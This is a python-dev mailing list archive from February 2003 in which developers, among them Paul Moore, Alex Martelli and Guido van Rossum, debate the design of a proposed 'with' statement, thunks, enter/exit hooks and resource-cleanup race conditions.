In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199D5@UKDCX001.uk.int.atosorigin.com> ("Moore,
 Paul"'s message of "Tue, 4 Feb 2003 14:00:47 -0000")
References: <16E1010E4581B049ABC51D4975CEDB886199D5@UKDCX001.uk.int.atosorigin.com>
Message-ID: <2m7kcgp20m.fsf@starship.python.net>

"Moore, Paul" <Paul.Moore@atosorigin.com> writes:

> That to me looks like the canonical use for locking. Unfortunately, people
> have made the point that having an *optional* assignment is hard (I'm not
> qualified to judge how hard, but I do know that Guido values parser
> simplicity).

Actually, Greg's point that you can sort it out in the compiler is a
good one.

Cheers,
M.

-- 
  > say-hi-to-the-flying-pink-elephants-for-me-ly y'rs,
  No way, the flying pink elephants are carrying MACHINE GUNS!
  Aiiee!!  Time for a kinder, gentler hallucinogen...
                               -- Barry Warsaw & Greg Ward, python-dev


From jepler@unpythonic.net  Tue Feb  4 14:15:46 2003
From: jepler@unpythonic.net (Jeff Epler)
Date: Tue, 4 Feb 2003 08:15:46 -0600
Subject: [Python-Dev] exec/with thunk-handling proposal
In-Reply-To: <200302041303.24580.aleax@aleax.it>
References: <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <2mlm0wp9ye.fsf@starship.python.net> <20030204125407.R5939@prim.han.de> <200302041303.24580.aleax@aleax.it>
Message-ID: <20030204141545.GC13864@unpythonic.net>

On Tue, Feb 04, 2003 at 01:03:24PM +0100, Alex Martelli wrote:
> On Tuesday 04 February 2003 12:54 pm, holger krekel wrote:
>    ...
> >     f1=open(inputfn)
> >     with autoclose(f1):
> >         f2 = open(outputfn, 'w')
> >         with autoclose(f2):
> >             for line in f1:
> >                 ...
> >                 f2.write(line)
> >
> > I think there should be a better solution for multiple ressources.
> 
> I agree this is slight too cumbersome, and deeply wish it was
> feasible to go with:
> 
>      with f1=autoclose(inputfn):
>          with f2=autoclose(outputfn, 'w'):
>              for line in f1:
>                  ...
>                  f2.write(line)
> 
> i.e., nested with's would be just fine, IF binding the with'd expression
> to a name was allowed as part of the with statement, by whatever sugar.  

This made me realize something.  What happens if some sort of exception
is raised between 'f1 = open()' and the start of the block 'with
autoclose(f1):'?  KeyboardInterrupt could be raised between the
statements, for instance.  autoclose(f1).__exit__() will never be called
now, since autoclose(f1) is never even computed.

Even if assignment in the statement is supported (
'with f1 = autoclose(outputfn, "w")') I don't immediately see what
bytecode would be written to make sure that an exception didn't arrive
at just the wrong moment, leaving 'with' block incompletely entered but
with the file open.

Doesn't this concern apply to the common idiom
    l.acquire()
    try:
        pass
    finally:
        l.release()
too?  (most of the 'with' proposals are suggested to be equivalent to
a Python program of this structure)  The exception could be delivered
just before the POP_TOP of the acquire statement, or the SET_LINENO of
the try: statement, and things would go south from there.

Please let me know what simple fact I'm missing.

Jeff


From bh@intevation.de  Tue Feb  4 14:16:51 2003
From: bh@intevation.de (Bernhard Herzog)
Date: 04 Feb 2003 15:16:51 +0100
Subject: [Python-Dev] With statement
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com>
References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com>
Message-ID: <6qlm0wqgfg.fsf@salmakis.intevation.de>

"Moore, Paul" <Paul.Moore@atosorigin.com> writes:

> Alex Martelli suggested transactional processing may be a reasonable use case
> for needing exception handling (commit in __exit__ and rollback in __except__)

I'm not sure an additional __except__ is really needed even for the
transactional use case. It's probably enough to check whether
sys.exc_info()[0] is None to figure out whether __exit__ was called
because of an exception or a regular way of leaving the block.

> but I don't think the gain is worth the extra complexity - I'd say leave this
> coded as now with try...except..else. (Alex - care to convince me otherwise?)

For me the transactional use quite important too. It's the use case that
made me wish for this kind of thing several years ago when I had started
to implement undo in Sketch.


   Bernhard

-- 
Intevation GmbH                                 http://intevation.de/
Sketch                                 http://sketch.sourceforge.net/
MapIt!                                           http://www.mapit.de/


From Paul.Moore@atosorigin.com  Tue Feb  4 14:29:17 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Tue, 4 Feb 2003 14:29:17 -0000
Subject: [Python-Dev] exec/with thunk-handling proposal
Message-ID: <16E1010E4581B049ABC51D4975CEDB880113D8D0@UKDCX001.uk.int.atosorigin.com>

From: Jeff Epler [mailto:jepler@unpythonic.net]
> This made me realize something.  What happens if some sort of
> exception is raised between 'f1 =3D open()' and the start of the
> block 'with autoclose(f1):'?
[...]
> Please let me know what simple fact I'm missing.

Nothing much, other than the fact that this is an issue with the
try...except form as well. Basically, this isn't a problem that
the proposal is trying to solve.

I'll add a paragraph to the PEP to note this point, though...

Paul.


From aleax@aleax.it  Tue Feb  4 15:05:56 2003
From: aleax@aleax.it (Alex Martelli)
Date: Tue, 4 Feb 2003 16:05:56 +0100
Subject: [Python-Dev] With statement
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199D5@UKDCX001.uk.int.atosorigin.com>
References: <16E1010E4581B049ABC51D4975CEDB886199D5@UKDCX001.uk.int.atosorigin.com>
Message-ID: <200302041605.56522.aleax@aleax.it>

On Tuesday 04 February 2003 03:00 pm, Moore, Paul wrote:
   ...
> The with version also avoids the common (at least with me) mistake of
>
>     try:
>         f = open("file")
> 	# Use f
>     finally:
>         f.close()

Yes, it IS a common mistake, and well worth avoiding, true.

> > With name binding,
> >
> >     with f = autoclosedfile("whatever"):
> >         # Use f
> >
> > we're down to 1, and in this case the advantage strikes me
> > as substantial.
>
> But this uses a different approach entirely. Here, autoclosedfile is a
> self-managing file subclass, whereas the autoclose() example used an
> independent manager class. I know the point is subtle to the extent of

Then code it as:
    with f = autoclosedfile(open("whatever")):

and have your "independent manager class", no problem.  I'd rather
have the imc in question "wrap" the file anyway (delegating to the
file object any getattr it doesn't know about), but it's no big deal if
you want to do it otherwise, with an explicit f.thefile or whatever.


> > It would also be more natural for people who are used to coding "resource
> > acquisition is initialization" in C++, since in that case, too, a name is
> > always required (whether you use it or not in the following block):
> >
> > {
> >     autoclosedfile f("whatever");
> >     // Use f
> > }
>
> But there are other subtle differences - many resources can be acquired in
> the one block, often not at the start of the block either. Whatever way you
> play it, "with" is a weak substitute.

C++ doesn't require syntactically explicit nesting of such "blocks" (nor
braces for them) but semantically the nesting IS there anyway.  E.g.:

{
    oneresource a;
    fooble(a);
    anotherone b;
    grepze(a, b);
}

if fooble(a) throws (==raises), a's destructor runs but not b's (nor b's
constructor).  When teaching C++ I always explained this kind of thing
as fully equivalent to:

{
    oneresource a;
    fooble(a);
    {
        anotherone b;
        grepze(a, b);
    }
}

and I saw MANY eyes light up in "ah, FINALLY I understand it!" ways
when I showed this equivalence.

So, I disagree that "with" (WITH binding ability) is a weak substitute --
it's "explicit is better than implicit" in term of "nesting", but that's not
necessarily a weakness.  WITHOUT binding abilty, then yes, "with"
is arguably (I'm not sure...) too weak to be worth having.


> What really kills it for me is the fact that personally, I like the
> no-assignment cases for locks:

But that doesn't work in C++ -- there HAS to be a name binding
for a RAI -- and I think that, if the name binding is either forbidden
or mandatory (i.e. too hard to make optional), C++ has it right
here -- mandatory is better than forbidden.


>     class Lock:
>         # Whatever you need here
> 	def __enter__(self):
> 	    self.acquire()
> 	def __exit__(self):
> 	    self.release()
>     ...
>
>     Lock GIL

meaning
    GIL = Lock()
I guess?  Too much C++...;-)

>     with GIL:
>         # Do something
>
>     ...
>
>     with GIL:
> 	# Do something else
>
> That to me looks like the canonical use for locking. Unfortunately, people

It is, but the price of writing "with GIL=GIL:" or whatever is pretty minor,
and quite comparable to the "canonical use for repetition" of having to
bind a name to the for-loop's iteration variable.


Alex



From Paul.Moore@atosorigin.com  Tue Feb  4 15:13:44 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Tue, 4 Feb 2003 15:13:44 -0000
Subject: [Python-Dev] With statement
Message-ID: <16E1010E4581B049ABC51D4975CEDB886199D7@UKDCX001.uk.int.atosorigin.com>

From: Alex Martelli [mailto:aleax@aleax.it]
> if the name binding is either forbidden or mandatory
> (i.e. too hard to make optional), C++ has it right
> here -- mandatory is better than forbidden.

The current proto-PEP (not yet published) still has it forbidden,
but optional is noted as a strong contender (especially now that
someone pointed out how to make optional work).

I'm now happy to go with either optional or forbidden (I'm still
not keen on mandatory).  If you can convince Michael Hudson to
change his view, we'll make it optional...

Of course, Guido's opinion trumps everyone else's :-)
Paul.


From walter@livinglogic.de  Tue Feb  4 15:30:47 2003
From: walter@livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=)
Date: Tue, 04 Feb 2003 16:30:47 +0100
Subject: [Python-Dev] exec/with thunk-handling proposal
In-Reply-To: <20030203140934.D10804@prim.han.de>
References: <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk> <20030203140934.D10804@prim.han.de>
Message-ID: <3E3FDCA7.6040107@livinglogic.de>

holger krekel wrote:

 > [...]
> I think we can may get away with only a "weak" keyword
> and allow the aforementioned encapsulation of execution 
> events into an object like this:
> 
>     exec expr [with params]: suite
> 
> where the expression is evaluated to return a
> "thunk" handler with these optional "execution" hooks:
> 
>     def __enter__(self):  
>         "before suite start"
> 
>     def __except__(self, type, value, tb): 
>         "swallow given exception, reraise if neccessary"
> 
>     def __leave__(self):
>         """upon suite finish (not called if __except__ 
>            exists and an exception happened)
>         """

Why not simply have one method

    def __execute__(self, thunk):

which gets passed the thunk. This method can do anything it
likes before executing the thunk, it can do anything after
executing the thunk, and it can implement exception handling:

    class twice:
        def __execute__(self, thunk):
            print "start"
            try:
               thunk()
               print "once"
               thunk()
               print "twice"
            except Exception, exc:
               print "exception", ext
            else:
               print "OK"

Then you can do:

     exec twice():
         for i in xrange(10):
             print i

Bye,
    Walter Dörwald



From guido@python.org  Tue Feb  4 15:37:26 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 04 Feb 2003 10:37:26 -0500
Subject: [Python-Dev] exec/with thunk-handling proposal
In-Reply-To: Your message of "Tue, 04 Feb 2003 14:29:17 GMT."
 <16E1010E4581B049ABC51D4975CEDB880113D8D0@UKDCX001.uk.int.atosorigin.com>
References: <16E1010E4581B049ABC51D4975CEDB880113D8D0@UKDCX001.uk.int.atosorigin.com>
Message-ID: <200302041537.h14FbQ424007@odiug.zope.com>

> > This made me realize something.  What happens if some sort of
> > exception is raised between 'f1 = open()' and the start of the
> > block 'with autoclose(f1):'?
> [...]
> > Please let me know what simple fact I'm missing.
> 
> Nothing much, other than the fact that this is an issue with the
> try...except form as well. Basically, this isn't a problem that
> the proposal is trying to solve.

Actually, I care about this race condition, and for certain situations
I plan to solve it by implementing a bit of magic in C.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From pyth@devel.trillke.net  Tue Feb  4 15:39:38 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Tue, 4 Feb 2003 16:39:38 +0100
Subject: [Python-Dev] exec/with thunk-handling proposal
In-Reply-To: <20030204141545.GC13864@unpythonic.net>; from jepler@unpythonic.net on Tue, Feb 04, 2003 at 08:15:46AM -0600
References: <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <2mlm0wp9ye.fsf@starship.python.net> <20030204125407.R5939@prim.han.de> <200302041303.24580.aleax@aleax.it> <20030204141545.GC13864@unpythonic.net>
Message-ID: <20030204163938.V5939@prim.han.de>

Jeff Epler wrote:
> On Tue, Feb 04, 2003 at 01:03:24PM +0100, Alex Martelli wrote:
> > On Tuesday 04 February 2003 12:54 pm, holger krekel wrote:
> >    ...
> > >     f1=open(inputfn)
> > >     with autoclose(f1):
> > >         f2 = open(outputfn, 'w')
> > >         with autoclose(f2):
> > >             for line in f1:
> > >                 ...
> > >                 f2.write(line)
> > >
> > > I think there should be a better solution for multiple ressources.
> > 
> > I agree this is slight too cumbersome, and deeply wish it was
> > feasible to go with:
> > 
> >      with f1=autoclose(inputfn):
> >          with f2=autoclose(outputfn, 'w'):
> >              for line in f1:
> >                  ...
> >                  f2.write(line)
> > 
> > i.e., nested with's would be just fine, IF binding the with'd expression
> > to a name was allowed as part of the with statement, by whatever sugar.  
> 
> This made me realize something.  What happens if some sort of exception
> is raised between 'f1 = open()' and the start of the block 'with
> autoclose(f1):'?

With CPython the file object will be refcount-finalized sooner or later. 
With JPython there should be a leak. 

With

    self.acquire()
                        # KeyBoardInterrupt here
    try: ...
    finally:
        self.release()

you can get a deadlock (as you stated).  It's just
so unlikely that it hardly ever causes problems.  You can
mask out asynchronous signals if this is really critical. 
And the unmaskable SIG9 will eventually take care anyway :-)

    holger


From duncan@rcp.co.uk  Tue Feb  4 15:53:02 2003
From: duncan@rcp.co.uk (Duncan Booth)
Date: Tue, 4 Feb 2003 15:53:02 +0000
Subject: [Python-Dev] With statement
References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com>
Message-ID: <Xns9318A05DA45DBduncanrcpcouk@127.0.0.1>

"Moore, Paul" <Paul.Moore@atosorigin.com> wrote in
news:16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.co
m: 

> I'm rapidly tending towards a preference for extreme simplicity in the
> with statement. My basic logic is that the C++ idiom for all this is
> pretty minimal, and works well (even though C++ has no "finally"
> equivalent, so the need is more pressing in C++).

Your autoclose example doesn't use __enter__, and your autolock example 
would work just as well if you moved the __enter__ code into __init__ 
(although then you couldn't write it the alternative way you suggest).

Do you have any good examples that actually require __enter__, or could it 
be dropped for even more simplicity?


-- 
Duncan Booth                                             duncan@rcp.co.uk
int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3"
"\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure?


From Paul.Moore@atosorigin.com  Tue Feb  4 16:03:09 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Tue, 4 Feb 2003 16:03:09 -0000
Subject: [Python-Dev] exec/with thunk-handling proposal
Message-ID: <16E1010E4581B049ABC51D4975CEDB886199D9@UKDCX001.uk.int.atosorigin.com>

From: Guido van Rossum [mailto:guido@python.org]
> > > This made me realize something.  What happens if some sort of
> > > exception is raised between 'f1 =3D open()' and the start of the
> > > block 'with autoclose(f1):'?
> > [...]
> > > Please let me know what simple fact I'm missing.
> >=20
> > Nothing much, other than the fact that this is an issue with the
> > try...except form as well. Basically, this isn't a problem that
> > the proposal is trying to solve.
>
> Actually, I care about this race condition, and for certain situations
> I plan to solve it by implementing a bit of magic in C.

It would be nice if the "with" statement specification could define the
equivalent code and then say "but the with statement is immune to race
conditions involving exceptions arriving between the start of the
execution of the with expression, and the start of the implied try =
block".

The implementation of the with statement should copy whatever magic you
are going to use.

Paul.


From Paul.Moore@atosorigin.com  Tue Feb  4 16:45:28 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Tue, 4 Feb 2003 16:45:28 -0000
Subject: [Python-Dev] With statement
Message-ID: <16E1010E4581B049ABC51D4975CEDB880113D8D5@UKDCX001.uk.int.atosorigin.com>

From: Duncan Booth [mailto:duncan@rcp.co.uk]
> Your autoclose example doesn't use __enter__, and your autolock =
example=20
> would work just as well if you moved the __enter__ code into __init__=20
> (although then you couldn't write it the alternative way you suggest).

> Do you have any good examples that actually require __enter__, or =
could it=20
> be dropped for even more simplicity?

My actual preference is for a lock object with enter =3D acquire and
leave =3D release. Then, the idiom is

    with my_lock:
        # protected code

This requires a separate enter hook.

Paul.


From ark@gmx.net  Tue Feb  4 16:45:08 2003
From: ark@gmx.net (Arne Koewing)
Date: Tue, 04 Feb 2003 17:45:08 +0100
Subject: [Python-Dev] Re: exec/with thunk-handling proposal
References: <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net>
 <059501c2ca31$d6581420$6d94fea9@newmexico>
 <065d01c2ca3b$185ca080$6d94fea9@newmexico>
 <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net>
 <002301c2cad4$714acc00$6d94fea9@newmexico>
 <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net>
 <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk>
 <20030203140934.D10804@prim.han.de> <2mlm0wp9ye.fsf@starship.python.net>
 <20030204125407.R5939@prim.han.de>
Message-ID: <8765s09eqz.fsf@gmx.net>

holger krekel <pyth@devel.trillke.net> writes:

>> We need a name for these.  I've been using "monitor" for a while, but
>> I'm not sure it's that apposite.
>
> So far i'd liked "execution handler" because 'enter/exit/except' are IMHO
> execution events which you can hook into.  Do you agree with calling
> them 'execution events' or how would you call them? 

I'm used to call this concept "sentinel" ...



From neal@metaslash.com  Tue Feb  4 16:57:01 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Tue, 04 Feb 2003 11:57:01 -0500
Subject: [Python-Dev] With statement
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB880113D8D5@UKDCX001.uk.int.atosorigin.com>
References: <16E1010E4581B049ABC51D4975CEDB880113D8D5@UKDCX001.uk.int.atosorigin.com>
Message-ID: <20030204165701.GB24222@epoch.metaslash.com>

On Tue, Feb 04, 2003 at 04:45:28PM -0000, Moore, Paul wrote:
> From: Duncan Booth [mailto:duncan@rcp.co.uk]
> > Your autoclose example doesn't use __enter__, and your autolock example 
> > would work just as well if you moved the __enter__ code into __init__ 
> > (although then you couldn't write it the alternative way you suggest).
> 
> > Do you have any good examples that actually require __enter__, or could it 
> > be dropped for even more simplicity?
> 
> My actual preference is for a lock object with enter = acquire and
> leave = release. Then, the idiom is
> 
>     with my_lock:
>         # protected code
> 
> This requires a separate enter hook.

I agree this code should be preferred.  I also think the assignment
should be optional.  Same idea works for files.

        with my_file = file(filename):
            # protected code

One thing I'm thinking about is, should there be an except clause?
For example, if you want to tell the user writing the file failed,
how would you do that?  Would the following be decent?

        with my_file = file(filename):
            # protected code
        except:
            # handle exception

Neal


From Paul.Moore@atosorigin.com  Tue Feb  4 17:02:05 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Tue, 4 Feb 2003 17:02:05 -0000
Subject: [Python-Dev] With statement
Message-ID: <16E1010E4581B049ABC51D4975CEDB880113D8D8@UKDCX001.uk.int.atosorigin.com>

From: Neal Norwitz [mailto:neal@metaslash.com]
> One thing I'm thinking about is, should there be an except clause?
> For example, if you want to tell the user writing the file failed,
> how would you do that?  Would the following be decent?

>         with my_file =3D file(filename):
>             # protected code
>         except:
>             # handle exception

I'd say no. Use either

    # Protects the cleanup as well
    try:
        # You do realise you can't use a raw file object here really?
        with my_file =3D file(filename):
            # protected code
    except:
        # handle exception

or

    # Just protects the code using the file
    with my_file =3D file(filename):
        try:
            # protected code
        except:
            # handle exception

The fact that there are 2 options, either of which has arguments in
favour, indicates to me that it should be explicit.

In any case, with is a form of try ... finally, and that doesn't
allow an except clause either.

Paul.


From duncan@rcp.co.uk  Tue Feb  4 17:07:54 2003
From: duncan@rcp.co.uk (Duncan Booth)
Date: Tue, 04 Feb 2003 17:07:54 -0000
Subject: [Python-Dev] With statement
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB880113D8D5@UKDCX001.uk.int.atosorigin.com>
Message-ID: <3E3FF36A.2897.6EF9DD6@localhost>

On 4 Feb 2003 at 16:45, Moore, Paul wrote:
> My actual preference is for a lock object with enter = acquire and
> leave = release. Then, the idiom is
> 
>     with my_lock:
>         # protected code
> 
> This requires a separate enter hook.

As opposed to:

    with lock(my_lock):
        # protected code

which wouldn't.

I prefer the second, but I'm not entirely sure why. I think, 
maybe, it's because the parentheses in the second one tell me 
we are actually doing something, whereas the first one looks 
like a variable access which is the one thing that can't 
actually have side effects.

It's probably just that I've been playing with C# too much 
recently (where the 'using' statement requires you to create 
an object). :-(
-- 
Duncan Booth                                             
duncan@dales.rmplc.co.uk
int month(char *p){return(124864/((p[0]+p[1]-
p[2]&0x1f)+1)%12)["\5\x8\3"
"\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure?
http://dales.rmplc.co.uk/Duncan



From duncan@rcp.co.uk  Tue Feb  4 17:19:39 2003
From: duncan@rcp.co.uk (Duncan Booth)
Date: Tue, 04 Feb 2003 17:19:39 -0000
Subject: [Python-Dev] With statement
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB880113D8D8@UKDCX001.uk.int.atosorigin.com>
Message-ID: <3E3FF62B.12085.6FA6166@localhost>

On 4 Feb 2003 at 17:02, Moore, Paul wrote:
> # You do realise you can't use a raw file object here really? 

Unless of course the file object sprouted an __exit__ method.
It's probably worth including the pro's and con's of that in 
your PEP.

I can see people falling into the trap of expecting the file 
object to 'do the obvious thing' here (Neal Norwitz being the 
first, but almost certainly not the last).
-- 
Duncan Booth                                             
duncan@dales.rmplc.co.uk
int month(char *p){return(124864/((p[0]+p[1]-
p[2]&0x1f)+1)%12)["\5\x8\3"
"\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure?
http://dales.rmplc.co.uk/Duncan



From neal@metaslash.com  Tue Feb  4 17:51:39 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Tue, 04 Feb 2003 12:51:39 -0500
Subject: [Python-Dev] With statement
In-Reply-To: <3E3FF62B.12085.6FA6166@localhost>
References: <16E1010E4581B049ABC51D4975CEDB880113D8D8@UKDCX001.uk.int.atosorigin.com>
 <3E3FF62B.12085.6FA6166@localhost>
Message-ID: <20030204175139.GC24222@epoch.metaslash.com>

On Tue, Feb 04, 2003 at 05:19:39PM -0000, Duncan Booth wrote:
> On 4 Feb 2003 at 17:02, Moore, Paul wrote:
> > # You do realise you can't use a raw file object here really? 
> 
> Unless of course the file object sprouted an __exit__ method.
> It's probably worth including the pro's and con's of that in 
> your PEP.
> 
> I can see people falling into the trap of expecting the file 
> object to 'do the obvious thing' here (Neal Norwitz being the 
> first, but almost certainly not the last).

I was actually assuming that ultimately we'd just add a few methods to
objects (like file & Lock).  I see no benefit to add new builtins for
autoclosefile and synchronized.  It seems easier and more
straightforward to add the special methods to the objects.

Neal


From gsw@agere.com  Tue Feb  4 18:02:16 2003
From: gsw@agere.com (Gerald S. Williams)
Date: Tue, 4 Feb 2003 13:02:16 -0500
Subject: [Python-Dev] thunks
In-Reply-To: <20030203170009.695.17429.Mailman@mail.python.org>
Message-ID: <GBEGLOMMCLDACBPKDIHFCECCDCAA.gsw@agere.com>

Guido van Rossum wrote:
>   [<variable> =] <expression>:
>     <block>
...
>   [<variable> =] <expression> lambda:
>      <block>
...
>   [<variable> =] <expression> lambda <arguments>:
>      <block>
...
>   [<variable> =] <expression> lambda:
>     <block>
>   and <expression> lambda:
>     <block>
>   ...

Can this be extended to allow multiple expressions
to act on the thunk? That capability was in some of
the earlier proposals. I suppose you could allow a
list of expressions, multiple expressions separated
by white space, or something similar.

-Jerry



From pedronis@bluewin.ch  Tue Feb  4 18:35:24 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Tue, 4 Feb 2003 19:35:24 +0100
Subject: [Python-Dev] thunks
References: <GBEGLOMMCLDACBPKDIHFCECCDCAA.gsw@agere.com>
Message-ID: <032601c2cc7c$2ec700c0$6d94fea9@newmexico>

----- Original Message ----- 
From: "Gerald S. Williams" <gsw@agere.com>
To: <python-dev@python.org>
Sent: Tuesday, February 04, 2003 7:02 PM
Subject: Re: [Python-Dev] thunks


> Guido van Rossum wrote:
> >   [<variable> =] <expression>:
> >     <block>
> ...
> >   [<variable> =] <expression> lambda:
> >      <block>
> ...
> >   [<variable> =] <expression> lambda <arguments>:
> >      <block>
> ...
> >   [<variable> =] <expression> lambda:
> >     <block>
> >   and <expression> lambda:
> >     <block>
> >   ...
> 
> Can this be extended to allow multiple expressions
> to act on the thunk? That capability was in some of
> the earlier proposals. I suppose you could allow a
> list of expressions, multiple expressions separated
> by white space, or something similar.
> 

this one has nothing to do with def () []


From lists@morpheus.demon.co.uk  Mon Feb  3 21:05:27 2003
From: lists@morpheus.demon.co.uk (Paul Moore)
Date: Mon, 03 Feb 2003 21:05:27 +0000
Subject: [Python-Dev] Extended Function syntax
References: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com> <2mu1flperm.fsf@starship.python.net>
 <20030203172116.GA1513@hishome.net>
Message-ID: <n2m-g.lm0xhy7c.fsf@morpheus.demon.co.uk>

Oren Tirosh <oren-py-d@hishome.net> writes:

> I agree. I don't see anything wrong with
>
> f=open('spam', 'r')
> with autoclose(f):
>    ...

I *like* this way of doing autoclose files. Much better than the way
I've been thinking

    f = autocloser("spam")
    with f:
        ...

> and I think that 
>
> with autolock(obj):
>    ...
>
> looks better than any other alternative proposed so far.

On the other hand, I quite like

    with lock:
        ...

(where lock is defined appropriately).

I don't know. Does the fact that the same statement is best used in
two subtly different ways (permanent object vs throwaway helper
object) count as a disadvantage of the statement (in terms of
teachability, if nothing else...)?

Sigh. I'm *so* glad I'm just skimming the thunk discussion - I don't
think my brain would survive the details :-)

Paul.
-- 
This signature intentionally left blank


From gsw@agere.com  Tue Feb  4 18:56:27 2003
From: gsw@agere.com (Gerald S. Williams)
Date: Tue, 4 Feb 2003 13:56:27 -0500
Subject: [Python-Dev] With statement
In-Reply-To: <20030204135902.21784.74109.Mailman@mail.python.org>
Message-ID: <GBEGLOMMCLDACBPKDIHFIECFDCAA.gsw@agere.com>

Paul Moore wrote:
>     'with' expr ':'
>         suite

Yes, simplicity is good. I don't buy the arguments for
replacing:

    suite_user = expr
    with suite_user:
        suite

with:

    with suite_user = expr:
        suite

The arguments in favor of the latter could be applied
to 'while' (or even 'if') as well. I know you don't
have to worry about '=' being confused for '==' in
this case, but is the gain here enough to warrant the
inconsistency?

It's interesting to note that with Guido's proposal,
your example [slightly paraphrased here]:

>     class autolock:
>         def __init__(self, l): self.l = l
>         def __enter__(self):   self.l.acquire()
>         def __exit__(self):    self.l.release()
> 
>     with autolock(lock()):
>         # work with the lock held

Could be coded like this, given the right implementation
of with_block:

    class with_autolock(with_block):
        def __init__(self, l): with_block.__init__(self); self.l = l
        def __enter__(self):   self.l.acquire()
        def __exit__(self):    self.l.release()

    with_autolock(lock()):
        # work with the lock held

(If support for multiple thunk users is added back, the
'with' could probably be added back to the example also.)

-Jerry


From pedronis@bluewin.ch  Tue Feb  4 19:05:44 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Tue, 4 Feb 2003 20:05:44 +0100
Subject: [Python-Dev] Extended Function syntax
References: <16E1010E4581B049ABC51D4975CEDB886199CD@UKDCX001.uk.int.atosorigin.com> <2mu1flperm.fsf@starship.python.net> <20030203172116.GA1513@hishome.net> <n2m-g.lm0xhy7c.fsf@morpheus.demon.co.uk>
Message-ID: <042601c2cc80$6b5359e0$6d94fea9@newmexico>

From: "Paul Moore" <lists@morpheus.demon.co.uk>
> Oren Tirosh <oren-py-d@hishome.net> writes:
>
> > I agree. I don't see anything wrong with
> >
> > f=open('spam', 'r')
> > with autoclose(f):
> >    ...
>
> I *like* this way of doing autoclose files. Much better than the way
> I've been thinking
>
>     f = autocloser("spam")
>     with f:
>         ...
>
> > and I think that
> >
> > with autolock(obj):
> >    ...
> >
> > looks better than any other alternative proposed so far.
>
> On the other hand, I quite like
>
>     with lock:
>         ...
>
> (where lock is defined appropriately).
>
> I don't know. Does the fact that the same statement is best used in
> two subtly different ways (permanent object vs throwaway helper
> object) count as a disadvantage of the statement (in terms of
> teachability, if nothing else...)?

it depends on how you look at things, either your main object support the
'with' protocol or not:

with with_proto_supporting_object:
 ...

or it needs an adapter:

with with_proto_adpater(obj):
  ...

Anyway write the PEP and leave this behind you <wink>.







From gsw@agere.com  Tue Feb  4 19:40:10 2003
From: gsw@agere.com (Gerald S. Williams)
Date: Tue, 4 Feb 2003 14:40:10 -0500
Subject: [Python-Dev] thunks
In-Reply-To: <032601c2cc7c$2ec700c0$6d94fea9@newmexico>
Message-ID: <GBEGLOMMCLDACBPKDIHFAECLDCAA.gsw@agere.com>

Samuele Pedroni wrote:
> > Can this be extended to allow multiple expressions
> > to act on the thunk? That capability was in some of
> > the earlier proposals. [...]
> 
> this one has nothing to do with def () []

Let me rephrase it, then. It looks like this thunk
proposal allows:

  def func(args):
      code

to be rewritten along the lines of:

  func = function_def lambda args:
      code

but doesn't account for the functionality for which
"def () []" is being suggested. Can we generalize it
to account for both forms of def?

-Jerry



From mal@lemburg.com  Tue Feb  4 19:51:33 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Tue, 04 Feb 2003 20:51:33 +0100
Subject: [Python-Dev] thunks
In-Reply-To: <200302031653.h13Grof20104@odiug.zope.com>
References: <200302031653.h13Grof20104@odiug.zope.com>
Message-ID: <3E4019C5.2020408@lemburg.com>

Tim, what have you been putting into Guido's coffee the last few
days ? Colons seem to have grown magical expressiveness and now he
even likes lambdas ;-)

Guido van Rossum wrote:
> I still don't have time to read this thread :-(, but I had a new idea
> that I'd like to fly here.
> 
> If we want to support thunks that blend into the scope of their
> environment as well as thunks that introduce a new local scope, here's
> one possible way to do it:
> 
> Thunk blending in:
> 
>   [<variable> =] <expression>:
>     <block>
> 
> Thunk introducing a new local scope:
> 
>   [<variable> =] <expression> lambda:
>      <block>
> 
> (Never mind the ugly things I've said about lambda in the past. :-)
> 
> I'm confident that the parser can distinguish these, and I'm confident
